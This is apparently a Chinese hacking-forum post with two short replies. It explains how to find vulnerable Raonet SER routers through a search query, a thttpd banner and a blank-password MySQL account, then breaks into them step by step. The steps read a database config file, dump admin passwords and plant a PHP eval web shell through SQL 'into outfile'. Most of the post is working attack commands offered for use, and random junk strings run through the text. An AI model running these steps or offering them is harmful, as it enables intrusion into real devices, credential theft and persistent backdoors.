利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：

. M% T/ F* W5 @1：google搜索'Raonet Subscriber Ethernet Router'

2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
8 W3 u% u- ~3 s0 V, d
0 g; r/ _/ U2 G1 V4 r) F3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。

+ {* I. Y6 ~- X4 b7 `//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......
6 s1 O' W( r9 r6 Z  }( ]4 ~& o8 l

$ s) d8 I0 h7 [* o: r  S
入侵步骤：

1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php

2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
- h' P# a! c9 E* \0 Y1 _8 X5 {  R3：得到密码后连接，查看GUI管理密码：
use ser_500
select id,passwd from user;
4 g$ r+ R" o6 e, V9 B5 z: C4:通过数据库写入webshell，执行命令：
use mysql;
' x, N- \6 m$ B) g9 Kcreate table ok(cmd TEXT);
insert into ok values("<?php @eval($_POST[cmd])?>");
1 K+ e% [9 G5 H) ^5 I, i4 Fselect * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
1 f( r# t, B& F" y+ b0 Kdrop table ok;
  f; V9 G+ K" y9 V2 p1 T
5:连接后门shell.php
+ e% L% T  N4 F$ }
6. 搞定！
; R9 @  j+ n3 X" }2 p3 ^! l+ G. [

jos666

不错哦，黑服务器补洞。。

Anthony~

这个后果可以很严重的说